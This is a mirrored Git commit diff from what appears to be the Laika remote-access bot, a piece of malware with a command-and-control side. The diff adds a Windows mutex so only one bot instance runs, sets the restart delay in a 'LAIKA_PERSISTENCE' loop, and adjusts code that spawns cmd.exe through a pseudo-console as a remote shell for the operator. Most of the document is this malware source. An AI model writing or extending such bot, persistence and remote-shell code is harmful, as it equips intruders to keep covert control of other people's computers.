mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-11-04 04:20:22 +00:00 
			
		
		
		
	Windows: implemented laikaB_markRunning() & laikaB_unmarkRunning()
- use Sleep() for LAIKA_PERSISTENCE in main() - use Mutex for checking existing LaikaBots - switched to TEXT() for win32 strings
This commit is contained in:
		
							
								
								
									
										3
									
								
								.vscode/settings.json
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										3
									
								
								.vscode/settings.json
									
									
									
									
										vendored
									
									
								
							@@ -29,7 +29,8 @@
 | 
				
			|||||||
        "stdbool.h": "c",
 | 
					        "stdbool.h": "c",
 | 
				
			||||||
        "alloca.h": "c",
 | 
					        "alloca.h": "c",
 | 
				
			||||||
        "bot.h": "c",
 | 
					        "bot.h": "c",
 | 
				
			||||||
        "string_view": "c"
 | 
					        "string_view": "c",
 | 
				
			||||||
 | 
					        "lconfig.h": "c"
 | 
				
			||||||
    },
 | 
					    },
 | 
				
			||||||
    "cSpell.words": [
 | 
					    "cSpell.words": [
 | 
				
			||||||
        "cnc's",
 | 
					        "cnc's",
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -32,7 +32,11 @@ int main(int argv, char *argc[]) {
 | 
				
			|||||||
        /* bot was killed or it threw an error */
 | 
					        /* bot was killed or it threw an error */
 | 
				
			||||||
        laikaB_freeBot(bot);
 | 
					        laikaB_freeBot(bot);
 | 
				
			||||||
#ifdef LAIKA_PERSISTENCE
 | 
					#ifdef LAIKA_PERSISTENCE
 | 
				
			||||||
 | 
					#ifdef _WIN32
 | 
				
			||||||
 | 
					        Sleep(5000);
 | 
				
			||||||
 | 
					#else
 | 
				
			||||||
        sleep(5);
 | 
					        sleep(5);
 | 
				
			||||||
 | 
					#endif
 | 
				
			||||||
    } while (1);
 | 
					    } while (1);
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    laikaB_unmarkRunning();
 | 
					    laikaB_unmarkRunning();
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,13 +1,17 @@
 | 
				
			|||||||
/* platform specific code for achieving persistence on windows */
 | 
					/* platform specific code for achieving persistence on windows */
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#include <windows.h>
 | 
					#include <windows.h>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#include "persist.h"
 | 
					#include "persist.h"
 | 
				
			||||||
#include "lconfig.h"
 | 
					#include "lconfig.h"
 | 
				
			||||||
 | 
					#include "lerror.h"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/*      we want a semi-random mutex that is stable between similar builds,
 | 
					/*      we want a semi-random mutex that is stable between similar builds,
 | 
				
			||||||
*   so we use the GIT_VERSION as our mutex :D */
 | 
					*   so we use the GIT_VERSION as our mutex :D */
 | 
				
			||||||
#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
 | 
					#define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					HANDLE laikaB_mutex;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/* check if laika is running as super-user */
 | 
					/* check if laika is running as super-user */
 | 
				
			||||||
bool laikaB_checkRoot() {
 | 
					bool laikaB_checkRoot() {
 | 
				
			||||||
    return true; /* stubbed for now */
 | 
					    return true; /* stubbed for now */
 | 
				
			||||||
@@ -15,12 +19,19 @@ bool laikaB_checkRoot() {
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
/* mark that laika is currently running */
 | 
					/* mark that laika is currently running */
 | 
				
			||||||
void laikaB_markRunning() {
 | 
					void laikaB_markRunning() {
 | 
				
			||||||
    /* stubbed */
 | 
					    laikaB_mutex = OpenMutex(MUTEX_ALL_ACCESS, false, TEXT(LAIKA_MUTEX));
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    if (!laikaB_mutex) {
 | 
				
			||||||
 | 
					        /* mutex doesn't exist, we're the only laika process :D */
 | 
				
			||||||
 | 
					        laikaB_mutex = CreateMutex(NULL, 0, TEXT(LAIKA_MUTEX));
 | 
				
			||||||
 | 
					    } else {
 | 
				
			||||||
 | 
					        LAIKA_ERROR("Mutex already exists!\n");
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/* unmark that laika is currently running */
 | 
					/* unmark that laika is currently running */
 | 
				
			||||||
void laikaB_unmarkRunning() {
 | 
					void laikaB_unmarkRunning() {
 | 
				
			||||||
    /* stubbed */
 | 
					    ReleaseMutex(laikaB_mutex);
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
/* try to gain persistance on machine */
 | 
					/* try to gain persistance on machine */
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -80,7 +80,7 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
 | 
					struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
 | 
				
			||||||
    HRESULT hr;
 | 
					    HRESULT hr;
 | 
				
			||||||
    char cmd[] = "cmd.exe";
 | 
					    LPCTSTR cmd = TEXT("cmd.exe");
 | 
				
			||||||
    struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
 | 
					    struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    ZeroMemory(shell, sizeof(struct sLaika_shell));
 | 
					    ZeroMemory(shell, sizeof(struct sLaika_shell));
 | 
				
			||||||
@@ -102,7 +102,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows)
 | 
				
			|||||||
    }
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
    /* launch cmd shell */
 | 
					    /* launch cmd shell */
 | 
				
			||||||
    hr = CreateProcessA(
 | 
					    hr = CreateProcess(
 | 
				
			||||||
        NULL,                           /* No module name - use Command Line */
 | 
					        NULL,                           /* No module name - use Command Line */
 | 
				
			||||||
        cmd,                            /* Command Line */
 | 
					        cmd,                            /* Command Line */
 | 
				
			||||||
        NULL,                           /* Process handle not inheritable */
 | 
					        NULL,                           /* Process handle not inheritable */
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user